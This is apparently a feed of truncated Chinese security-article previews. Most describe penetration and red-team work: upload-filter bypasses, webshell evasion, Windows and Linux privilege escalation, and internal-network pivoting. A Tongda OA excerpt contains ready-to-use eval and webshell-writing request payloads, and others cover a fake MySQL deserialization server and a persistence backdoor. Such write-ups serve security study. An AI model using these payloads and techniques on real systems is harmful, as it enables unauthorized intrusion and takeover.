shell1+内网过程该目标从公众号抓抓取到的url。面对问题，上传黑名单需要绕过。多次尝试，最后绕过方式为 '1.jsp...'. 成功拿到webshell。目标:linux系统，普通用户。应该怎么做:提权管理员权限，为了方便，可以直接在linux安装nmap进行扫描。尝试使用最新sudo提权，未果。linux提权会存在破坏性，这里没有进行继续提权。使用ew把流量代理出来，进行内网打点。内网:同C段，没有几台机器。这里尝试b段。 目标机为Linux，未取得有效信息，只能盲目打点。存在普遍问题：web存在很多后台弱口令。普遍都是jsp的。但是几乎没有上传点。内网getshell:1.web后台aspx。任意文件上传。面临的问题1： 冰蝎马无法连接，暂时使用大马操作。 猜测: 1.冰蝎流量特征问题。 2.webshell是否免杀问题。 解决: 这里首先采用简单的webshell免杀，然后使用蚁剑进行连接。成功连接。问题2:普通用户,需要提权。这里执行systeminfo，发现目标补丁打的很全。同时存在360全家桶。需要绕过。多次尝试，这里最后使用CVE-2018-8120进行提权。补充:CVE-2018-8120(针对08和win7的内核提权。)问题3:关于文件上传。使用蚁剑文件管理，上传文件发现有限制，上传到30%就被禁止 ...继续阅读 (122)

渗透的本质是信息收集，攻防的体系是知识点的串联。打点的艺术01对靶标的分析在HVV当中，获取到的靶标存在多种行业。对不同的靶标存在不同的打法，我通常分为两个大方向。其一为机关单位，其二为集团公司等。其中二者区别对攻击者而言，就是资产的散落程度。地级市的机关单位通常将网站托管在政务云，大数据局等。这意味着，通常两三个的C段部署着当地大量的机关单位网站集群。而集团公司等靶标应当采取“老式”的打点方式，所以接下来对两种打的方式进行打法剖析。02工具的使用对于机关单位的打法，因为其资产通常散落在多个大的C段当中，所以首要的目标就是对其C段权重的寻找。切入点应该选择手中的靶标为机关单位的目标，以此为点。棱眼:https://github.com/EdgeSecurityTeam/Eeyes对目标的子域对应IP进行C段权重的判断如何确定C段的权重是否正确棱洞:https://github.com/EdgeSecurityTeam/EHole./EHole -f 110.242.68.1/24其对棱眼的C段权重进行IP资产列举接下来对其列举出来的指纹进行payload验证。而对于集团公司的打法还是常用手法，oneForAll,百分百控股..目录等等。常用的手法并非盲目测试payload，对目标框架的了解也是前提。如React，Vue，AngularJS的XSS问题？jquery // vue { ...继续阅读 (121)

声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！0x01 常规利用前段时间在群里看到有人在搜集“土豆”系列的提权工具，抽空整理了下之前用过的一些，还有最近刚放出的DCOMPotato，仅分享给有需要的人。当然，除了可以利用“土豆”系列的提权工具外，我们也可以利用MSF或哥斯拉下的各种“土豆”提权模块来进行提权，根据实际场景选择合适的吧。exploit/windows/local/ms16_075_reflection exploit/windows/local/ms16_075_reflection_juicy0x02 防护绕过之前实战中遇到的一个案例：Win10系统，iis权限，存在Defender杀软，哥斯拉默认的aspx马会被杀，需要做下免杀处理，最后利用SweetPotato成功提权。还和群里师傅们一起讨论了下某师傅在实战场景中利用土豆提权时被防护拦截和绕过的问题，这里我就不搭建环境复现写文章了，群里讨论过程可见下图聊天记录。 ...继续阅读 (117)

研究结果表明，在基于位置的精准营销领域中，通过GPS能够提供的互联网用户位置信息仅占在线广告投放所有位置信息的20%左右，普适性不高。而传统的IP地址定位产品仅能提供城市或区县级别的定位数据，无法支撑基于位置的服务开展。IP问问可以提供高精准（街道级别）的IP地址定位数据，支持各种基于位置的服务开展。为什么准确度与一致性相加超过8星的数据是优质数据为了方便大家使用优质IP地址定位数据，减少使用成本。在这篇文章中，埃文科技提出了高质量IP定位数据的判断标准：“使用IP问问时获取的定位数据准确度及一致性两项指标相加大于等于8星即为优质IP地址定位数据，可以直接应用”。大家可能会有疑惑，准确度和一致性有什么作用，为什么两项指标相加大于等于8星就是优质IP定位数据？埃文科技将通过数据分析为大家解惑。什么是准确度和一致性IP问问提供的准确度这项指标，是综合了应用场景、定位方式、定位精度、覆盖半径等多种数据判断的。指的是某个IP地址定位结果的准确程度。一共有5个星级的判断标准。IP问问提供的一致性这项指标，是综合了定位结果的变化频率及定位结果的抖动性等多种数据判断的。指的是某个IP地址的定位结果的稳定程度和一致性。一共有5个星级的判断标准。为什么8星以上数据是精准的在实际使用过程中，不论是埃文科技进行的内部测试，亦或是客户进行的测试工作。我们均发现优质的IP地址定位数据有一个共性特点，那就是准 ...继续阅读 (114)

1. 通告信息近日，安识科技A-Team团队监测到Google发布安全公告，修复了Chrome中的一个类型混淆漏洞（CVE-2023-3216），该漏洞存在于Chrome V8 JavaScript引擎中，可以通过恶意设计的 HTML 页面触发该漏洞，成功利用可能导致浏览器崩溃或执行任意代码。对此，安识科技建议广大用户及时升级到安全版本，并做好资产自查以及预防工作，以免遭受黑客攻击。2. 漏洞概述漏洞名称：Google Chrome V8类型混淆漏洞CVE编号：CVE-2023-3216简述：V8是由Google 开源的一个高性能JavaScript 引擎，被广泛应用于各种 JavaScript 执行环境，如Chrome 浏览器、Node.js等。Google Chrome V8类型混淆漏洞存在于Chrome V8 JavaScript引擎中，可以通过恶意设计的 HTML 页面触发该漏洞，成功利用可能导致浏览器崩溃或执行任意代码。此外，Google Chrome 中还修复了自动填充付款、WebRTC和WebXR中的多个Use-After-Free漏洞（分别为CVE-2023-3214、CVE-2023-3215和CVE-2023-3217），UAF漏洞是一种内存损坏漏洞，远程威胁者可用通过恶意设计的HTML页面利用堆损坏进行潜在的攻击，成功利用可能导致远程代码执行、拒绝服务或数据损 ...继续阅读 (123)

干货观点案例资讯我们岂安科技最真诚的业务安全公众号撸主：miaomiao 高级测试工程师目前负责RedQ、Warder产品的质量保障工作。★在接口测试的过程中，很多时候会用到对CSV的读取操作，本文主要说明Python3对CSV的写入和读取。★1 需求某API，GET方法，token,mobile,email三个参数token为必填项mobile,email 必填其中1项mobile为手机号,email为email格式2 方案针对上面的API，在做接口测试时，需要的测试用例动辄会多达10+, 这个时候采用数据驱动的方式将共性的内容写入配置文件或许会更合适。这里考虑把API、参数、以及预期结果预行在格式化的CSV里保存，利用csv组件从CSV里读取URL、参数以及预期结果，Requests组件发起请求，将响应结果与预期结果进行比对，最后把比对结果写到结果CSV。流程如下图 ☟3 实现1在上代码之前，先安装好如下几个组件：csv 读写CSV文件jsonrequests 发起请求，获取响应结果unittest 测试用例调度2data.csv(本示例选取部分用例）3reader_CSV函数代码示例import csvimport jsonimport requestsimport timeimport unittestdef readCSV(self,filename) ...继续阅读 (122)

干货观点案例资讯我们岂安科技最真诚的业务安全公众号 企业为何要引入PMO设想公司同期安排了10多个项目在等实施，如果各产品部门都有一套项目管理模式，既有研发直接参与定制的项目，也有需要实施人员一起参与的项目，实施和研发资源夹在中间，项目一直没有进展，半数以上的项目拖到延期还是无法交付的时候，大家都会着急思考接下来该怎么办？于是，企业开始考虑引入 PMO（ ProjectManagement Office，项目管理办公室 ），初级目标是为了统一协调各个产品项目的实施和研发资源，避免资源混乱造成的项目质量下降和进度延期。更高级的目标可以理解是为了实现项目的“企业级管理”，在企业内部形成一套稳定的项目管理体系，实现企业项目的效益最大化。PMO介绍美国项目管理协会(PMI)定义：PMO 就是为创造和监督整个管理系统而负责的组织元素，这个管理系统是为项目管理行为的有效实施和为最大程度的达到组织目标而存在的。主要职责包括：多项目协调与控制、提供专业项目管理资源与咨询服务。所以，企业引入PMO，既不是为了取代项目部，也不是为了监管项目经理，而是因为企业在规模扩大的过程中出现了多项目管理情况，为了解决项目之间、项目与组织之间的资源问题，为企业项目管理提供方向和咨询、指导，PMO才应运而生。同时，企业中PMO的发展，也成为了评价企业项目管理成熟度的参考之一。PMO的阶段和表现企业根据发展阶段的不同 ...继续阅读 (107)

声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！这篇文章由群里@Nnn师傅原创投稿，他的一篇日常测试笔记，比较简单的一个案例，感谢分享！前言测试的这个资产纳管到4A了，进入这个系统就是远程堡垒机的浏览器，不能用其他工具测试，纯手搓。注：内网的话如果走VP嗯也能上工具测试，但这个堡垒机上没办法传工具，所以只能通过浏览器测试。正文登录系统发现导出文件既然有path、nameFile，尝试文件读取一波右键请求 -> copy -> copy as fetch，然后到控制台进行发送想着直接一发入魂，谁知道报CORS错误大概意思就是不能跨域资源共享，巴拉巴拉，直接就陷入了迷茫，必应了一波没找到办法。一直想着是不是构造参数有问题，或者系统内部设置了不能跨域？chatgtp都问哭了，没找到答案...又看了一会，哎这个8095端口是啥，我登陆的是29999端口当前登录是29999端口，但是他的资源是在8095端口。。。一定要细心，然后访问8095端口再来一发200正常了查看回显 ...继续阅读 (118)

0x01 前言 最近一段时间身体不适，微信多位师傅好友申请以及公众号留言没来得及回复，麻烦师傅们见谅。 我一直认为漏洞挖掘的根本在于信息收集，如：子域名，隐藏的接口，隐藏的参数等等。下面我将分享一次通过发现隐藏的参数从而实现任意用户登录的经历。0x02 漏洞背景 一次众测项目，授权对目标子域进行渗透，我们称目标为target.com。0x03 漏洞挖掘过程 使用bbot对目标子域进行收集，关于子域名收集，推荐一篇很好的文章，文章地址：https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off，其中比较了业界顶级子域枚举工具。我们得到一个这样一个存活的域名：big-data.target.com。对于这样的域名，我一般使用fuzzdomain对其进行类似域名的爆破，设置如下。我们爆破出这样一个域名：manage-data.target.com，其开放了443端口，访问页面为一个登录框。由于页面无防暴力破解机制，对其进行暴力破解，未成功爆破出账号密码，但是由于存在用户名枚举，我们成功爆破出一个cadmin的账户。观察一下登录的报文，如下：{"username":"cadmin","password":"123456"}，此时将123456改为true，对p ...继续阅读 (116)

0x01 前言 现在spingboot的站点越来越多，在测试spingBoot未授权时，百分之九十的人看到只有actuator/health和actuator/info时，都会视若无睹。然而在一次日常漏洞挖掘过程中，我看到了不一样的actuator/health泄露，进一步拿下了服务器权限。0x02 漏洞背景 一次众测活动，授权对目标子域进行渗透，我们称目标为target.com。0x03 漏洞挖掘过程 使用theHarvester对其进行子域名收集，发现了一个后台登陆的系统，称它为qwq.target.com，指纹为spingboot。登录抓包，抓取登录的url，url为https://qwq.target.com/common/login。使用dirsearch对其接口进行目录探测，字典为spingboot专用字典。发现actuator/health和actuator/info对外暴露。大多数的actuator/health为下图内容： 然而这次的actuator/health为下图所示： 关注一下services下面的十四个参数，通过观察，我从这十四个参数中发现common，没错，登录的接口恰好就是这个参数。 OK，奇怪的想法诞生了，将这十四个参数构造成字典，使用Wfuzz对https://qwq.target.com/FU ...继续阅读 (111)

OWASP移动应用程序安全验证标准（MASVS），它是移动应用程序行业的综合安全标准。本文主要基于《OWASP移动应用程序安全验证标准v2.0.0》文档进行学习并翻译整理的。它主要用于移动应用程序安全性。它提供了一套全面的安全控制措施，可用于评估跨各种平台（如Android、iOS）和部署场景的移动应用程序的安全性。该标准涵盖了移动应用程序攻击面的关键组件，包括：存储、密码学、身份验证和授权、网络通信、平台的交互、代码质量和抵御逆向工程和篡改的能力。MASVS它是建立对移动应用程序安全性，提供一组解决最常见的移动应用程序安全问题的控件。这些控件开发的重点是在移动应用程序开发和测试的所有阶段提供指导，并在采购期间用作移动应用程序安全验证的基线。通过遵守OWASP MASVS中的控制措施，组织可以确保其移动应用程序的构建考虑到安全性，从而降低安全漏洞的风险，并保护敏感数据无论是用作衡量标准、指导还是基线，OWASP MASVS都是一个宝贵的工具。◆ ◆ ◆ ◆应用程序安全模型◆ ◆ ◆ ◆ 该标准为代表移动攻击面最关键区域的各个组。这些标准有 MASVS-XXXXX 的控制组为以下领域提供指导和标准：1、 MASVS-STORAGE：敏感数据在设备上的安全存储。2、 MASVS-CRYPTO：用于保护敏感数据的加密功能。3、 MASVS-AUTH：移动应用程序使用的身份验证和授权机制。 ...继续阅读 (110)

违规收集个人信息重点整治APP、SDK未告知用户收集个人信息的目的、方式、范围且未经用户同意、私自收集用户个人信息的行为。 超范围收集个人信息重点整治APP、SDK非服务所必需或无合理应用场景，特别在静默状态下或后台运行时，超范围收集个人信息的行为。 违规使用个人信息重点整治APP、SDK未向用户告知且未经用户同意，私自使用个人信息，将用户个人信息用于提供服务之外的目的、 强制用户使用定向推送功能重点整治APP、SDK未以显著方式标示且未经用户同意，将收集到的用户搜索、浏览记录、使用习惯等个人信息，用于定向推送或广告精准营销，且未提供关闭该功能选项的行为。 强制、频繁、过度索取权限重点整治APP安装、运行和使用相关功能时，非服务所必需或无合理应用场景下，用户拒绝相关授权申请后，应用自动关闭或退出的行为。重点整治短时长、高频次，再用户明确拒绝权限申请后频繁弹窗、反复申请与当前服务场景无关权限的行为。 频繁自启动和关联启动重点整治APP未向用户告知且未经用户同意，或无合理的使用场景，频繁自启动或关联启动第三方APP的行为。 诱导用户下载APP重点整治通过“偷梁换柱”、“移花接木”等欺骗方式诱导用户下载APP 欺骗诱导用户提供个人信息重点整治非服务所必需或无合理场景，通过积分、奖励、优惠等方式诱导用户提供***号码以及个人生物特征信息的行为。 ...继续阅读 (105)

声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！你能收获的1编程基础 | PHP代码审计（上）2编程基础 | PHP代码审计（下）3代码审计 | zzcms8.21.1基于wavsep靶场的jsp代码审计防御本次实验是基于wavsep进行设计，因此我们主要做了sql注入及xss跨站请求漏洞的实验结束。1.1.1wavsep靶场搭建1、java环境搭建 因为本地已搭建好java环境，因此不进行演示了，网上也有很多java环境搭建教程。2、wavsep靶场搭建 在网上下载wavsep.war包，将war包放在tomcat下的webapps下则会自动解压为wavsep文件夹；在浏览器中打开http://127.0.0.1:8080/wavsep/:通过页面信息我们可知当我们需要打开sql注入或者xss跨站脚本请求漏洞进行实验时只需在url:http://127.0.0.1:8080/wavsep/ 后面跟上 index-xss.jsp等练习页面即可。1.1.2SQL注入代码审计防御1.字符型(String)sql注入 打开本次sql注入页面(wavsep中GET500中的case1)：http://127.0.0.1:8080/wavsep/SInjection-Detection-Evaluation-GE ...继续阅读 (106)

基础知识LLVM是lowlevel virtual machine的简称，它诞生于2003.10伊利诺伊大学香槟分校，创始人是ChrisLattner，它是一个完整的编译器框架，它兼容大部分主流开发语言例如：C, C++, Objective-C等等，它也兼容大部分主流的平台：x86, x86-64, PowerPC, PowerPC-64,ARM,Thumb等等。（图片来源网络）LLVM会先将源码生成为与目标机器无关的LLVMIR代码，然后把LLVMIR代码先优化，再向目标机器的汇编语言而转换。LLVM编译器主要细分为前端、中层优化和后端的3部分构成。(图片来源网络)OLLVM就是在LLVM的基础上增加了obfuscator(混淆)， Obfuscator-LLVM (OLLVM) 是2010 年 6 月由 Yverdon-les-Bains 的瑞士西北应用科技大学安全实验室针对LLVM编译组件开发的代码混淆工具，该工具完全开源，这个OLLVM主要为了增加逆向工程的难度，保证代码的安全性。Obfuscator-LLVM (OLLVM)集成了LLVM编译器,并且兼容LLVM支持的所有语言(C,C++, Objective-C, Ada and Fortran)和平台(x86, x86-64, PowerPC,PowerPC-64,ARM,Thumb,SPARC,Alpha,Cell ...继续阅读 (109)

声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！正文闲着发慌，fofa找了一个weblogic，直接获取administrator权限。接下来就是获取webshell，这里选择内存马注入，也可以写webshell，路径有\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\http://xxxxxx/console/framework/skins/wlsconsole/images/123.jsp\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsphttp://xxxxx:7001/uddiexplorer/123.jspOracleMiddlewarewlserver_10.3serverlib ...继续阅读 (95)

声明：该公众号分享的安全工具和项目均来源于网络，仅供安全研究与学习之用，如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本公众号无关。现在只对常读和星标的公众号才展示大图推送，建议大家把Hack分享吧“设为星标”，否则可能看不到了！工具介绍@许少师傅开源的一个MySQL蜜罐服务利用工具，这个项目是MySQL_Fake_Server的高级版。https://github.com/fnmsd/MySQL_Fake_Server当JDBC URL可控时，特殊的MySQL服务端可以读取JDBC客户端任意文件或执行反序列化操作，完全使用Java实现部分MySQL协议，内置常见ysoserial链，一键启动，自动生成可用的payload用于测试。GUI使用GUI版本一键启动，启动后可以根据自己的环境输入参数，生成payload启动：java -jar fake-mysql-gui.jarCLI当你的环境不允许使用GUI版时，可以使用命令行版启动，同样可以使用GUI辅助生成payload启动：java -jar fake-mysql-cli.jar -p [port]Docker构建：docker build -t fake-mysql-server .启动：docker run -p 3306:3306 -d fake-mysql-serverRPC本项目提供了GRPC调用的方式启 ...继续阅读 (94)

闲来无事的时候打开一个站点，看似平平无常其实已经被做了蜘蛛劫持通过模拟蜘蛛可以看到这个站点已经被hack干沦陷了本来不想管的，好奇心的驱动下，开始复盘操作仔细看了很久，扫描爆破路径和后台，什么的都没找到关键信息端口的话是就开了个BT面板的端口和22端口，以及80端口有的时候就是这样，本来没注意到的地方，在去仔细看的时候就会有不一样的惊喜。在翻看js文件的时候发现这个js文件有一些url的发包信息仔细一看关键点来了仔细一看发现，发现有个public/webuploader/0.1.5/的路径回想一下这个组件我记得是有day的啊，然后我百度一看，发现还真有poc，感兴趣的可以自行百度，这里就不多介绍了，反正是通过上传base64，getshell既然知道大概方法，直接上poc了拿下上去一看这一看就是做了寄生虫，简直不要太黑客，点到为止，删马跑路。本来到这里就为止的，发现一个这套程序特别神奇的一个地方****img文件对吧，下载一看对吧这不就是个前台文件读取吗，虽然设置了Content-type返回是图片类型这不就是抓个包的事情吗随便读一个文件看看小天才，估计是故意而为之。白嫖一个小0day了 ...继续阅读 (94)

...继续阅读 (70)

...继续阅读 (77)

...继续阅读 (75)

...继续阅读 (70)

...继续阅读 (76)

...继续阅读 (68)

漏洞简介TOTOLINK是一款无线路由品牌，TOTOLINK T6_Firmware V5.9c.4085_B20190428存在一个任意命令执行漏洞。影响版本TOTOLINK T6_Firmware V5.9c.4085_B20190428环境搭建访问https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/190/ids/36.html下载T6_Firmware V5.9c.4085_B20190428固件固件下载成功后，执行binwalk -Me TOTOLINK_C818NR_T6_IP04338_8197FN_SPI_16M128M_V5.9c.4085_B20190428_ALL.web --run-as=root提取文件系统进入提取的文件系统目录执行mkdir var/run && touch /var/run/lighttpd.pid创建路由器启动环境所需的pid执行brctl addbr virbr2 ifconfig virbr2 192.168.6.1/24 up tunctl -t tap2 ifconfig tap2 192.168.6.11/24 up brctl addif virbr2 tap2给路由器web服务创建一个虚拟网络环境执行wget https://people. ...继续阅读 (78)

“The 5th AutoCS 2023智能汽车信息安全大会——北京站”将于9月盛大召开 5月5日，工业和信息化部装备工业一司组织全国汽车标准化技术委员会开展了《汽车整车信息安全技术要求》《智能网联汽车 自动驾驶数据记录系统》等四项强制性国家标准的制修订，已形成征求意见稿，现公开征求社会各界意见。这也意味着，汽车网络安全的遮羞布逐渐被撕开，汽车产业链上下游必须直面汽车网络安全问题。 如何在汽车智能化发展过程中，既保障汽车的整车信息安全，又能避免过渡防护，似乎才是网络安全方案商和车企们在汽车网络安全方面面临的最大难题。 为满足智能汽车信息安全行业的学习与交流需求，匠歆会展踩准市场发展节奏，于2020年推出了AutoCS。AutoCS是国内第一个专注于汽车信息安全细分市场的精品会议IP，旨在以差异化定位，满足客户对精准细分市场的推广需求。 自2020年AutoCS第一届起，匠歆始终努力践行对客户的承诺，夯实议程干货内容，强调议程结构完整（OEM50%+，演讲赞助席位6个）。真实宣传，致力于超额完成客户预期。AutoCS第一届宣传人数150-200，最终会场签到人数203；第二届宣传人数250+，最终会场签到人数469；第三届宣传人数500+，最终报名人数1127，签到人数721。第四届宣传人数750+，最终报名人数1414，签到人数988。 AutoCS强调精准高效对接，每场活动的 ...继续阅读 (72)

声明本文所提供的工具仅用于学习，禁止用于其他，请在24小时内删除工具文件！！！01 背景在一次攻防演练中，利用漏洞获取到一个webshell，站点是php的，最后发现这个webshell的权限竟然是system，但是无法执行命令，最后发现是Windows版本的宝塔，结合网上各位师傅的文章，在这里记录下如何bypass到3389登录的。02 getshell直接上webshell，上了蚁剑、冰蝎、哥斯拉，发现没有waf拦截，上蚁剑，windows的机器，权限很高是system，执行命令，发现都是返回错误：使用哥斯拉看下，可以看到就是宝塔：同样在fofa上看到开放了888端口，其实就可以猜是宝塔了：这是官网关于面板的介绍：既然是Windows版本的bt的话，那这个webshell权限就是system是没有问题的，现在就是想办法拿bt面板或者bypass执行命令了。03 宝塔bypass之路在bypass宝塔之前，也看到过替换php.ini文件、mysql提权的，但经过测试都是失败的，因此在这里尝试直接拿下宝塔面板。3.1 寻找宝塔后台通过参考师傅的文章，找到了宝塔的路径信息：C:/BtSoft/panel/data/admin_path.pl发现路径：/xxxxxx一般来说，宝塔的面板默认端口就是8888，因此直接加上之后访问：无论是内网还是外网，发现依旧访问不到：最后发现，自己找偏了 ...继续阅读 (76)

一、漏洞描述漏洞简述SCM-Manager 是一款开源的版本库管理软件，同时支持 subversion、mercurial、git 的版本库管理。安装简单，功能较强，提供用户、用户组的权限管理 ，有丰富的插件支持。由于在MIT的许可下是开源的，因此它允许被用于商业用途，而且其代码可以在GitHub上获取到。该项目最初只是被用于研究目的，而在其2.0版本之后，被Cloudogu公司接手管理和开发了其各种代码库，以便为各个公司提供专业的企业级支持。该漏洞主要为攻击者利用其多个功能的描述字段的代码缺陷，构造payload进行XSS攻击。漏洞影响范围供应商：Cloudogu产品：SCM Manager确认受影响版本：SCM Manager 1.2 <= 1.60修复版本：>1.60 最新版本为2.43.1二、漏洞复现实战环境搭建docker镜像：https://bitbucket.org/sdorra/docker-scm-manager/src/master/利用shell脚本搭建shell:#!/bin/bashmkdir/var/lib/scmchown1000:1000 /var/lib/scmdocker run-v/var/lib/scm:/var/lib/scm-p8080:8080 sdorra/scm-manager漏洞复现首先访问SCM Manager，需身份认证Use ...继续阅读 (74)

漏洞简介之前也对通达 oa 做过比较具体的分析和漏洞挖掘，前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞，于是也打算对此进行复现和分析。环境搭建https://www.tongda2000.com/download/p2019.php下载地址 ：https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe查看版本信息漏洞复现利用方式一http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id;=19&module;=Carouselimage利用方式二无法直接写入带有变量的 php 文件所以首先利用 无参 webshellphp @eval(next(getallheaders()));GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b ...继续阅读 (77)

1.什么是APIAPI(Application Programming Interface,应用程序编程接口)是一些预先定义的函数，目的是提供应用程序与开发人员基于某软件或硬件的以访问一组例程的能力，而又无需访问源码，或理解内部工作机制的细节。通过API，就算不知道如何操作，也能将产品或服务与其他产品或服务进行互通。这样就可以简化应用开发，节省时间和成本。API除了有应用“应用程序接口”的意思外，还特指 API的说明文档，也称为帮助文档。API作为应用编程接口，由应用程序来调用，提供API的称为提供者，使用API的称为消费者。API本质上是一个程序(程序1)中，专门用于与其他应用程序(程序2)进行交互的部分，也就是程序1的外部对接部门。程序员所编写的程序2可以通过API程序的函数声明来和程序1进行交互。API 由一个或多个方法组成，每个方法可以实现一个功能，比如发送消息，上传文件，检索消息等。 定义和作用看起来有些晦涩难懂，我们可以类比一个常见且熟悉的接口User Interface（缩写为 UI）即用户接口。UI本质上是一个系统中专门用于与人类使用者进行交互的部分。UI可以是一个实物上的面板，也可以是由程序所驱动的显示在屏幕上的界面。我们使用的应用一般有是图形化界面的，都可以看作是一种用户接口，比如按钮，窗口，图标等可视化组件。UI 定义了人与应用程序进行交互的方式。UI 由多个 ...继续阅读 (78)

0x01引言前段时间在小蓝鸟上看到一个几乎不见的持久化后门--SDDL，然后就看着评论学习着，越看越迷茫就去查了查资料。0x02 Windows中的安全模型当 Windows 中的用户或进程尝试访问系统中的资源时，系统会使用访问令牌来标识这些用户或进程。访问令牌包括一组安全标识符（SID）、用户特定的数据和访问权限。每个用户都有一个唯一的 SID，它用于标识该用户。访问控制列表（ACL）是一组安全描述符，用于控制对对象的访问。ACL 中包含一条条 ACE（访问控制项），每个 ACE 都描述了一个安全主体（如用户、组或计算机）对对象的访问权限。Windows 中的安全模型通过这些基本元素来实现对资源的保护。当访问令牌中包含的 SID 与 ACL 中的 ACE 相匹配时，访问将被允许。否则，访问将被拒绝。访问控制是 Windows 安全模型中的一个关键方面，它允许管理员通过配置 ACL 控制对资源的访问。这种方法能够提供高度的安全性，但需要仔细规划和管理，以确保正确地保护系统和应用程序。当一个线程尝试去访问一个对象时，系统会检查线程持有的令牌以及被访问对象的安全描述符中的DACL。先查询类型为DENY的ACE，若命中且权限符合则访问拒绝；未命中再在ALLOWED类型的ACE中查询，若命中且类型符合则可以访问。总之，ACL的组成结构包含了一系列访问控制项，每个访问控制项都包含了标识符、访 ...继续阅读 (71)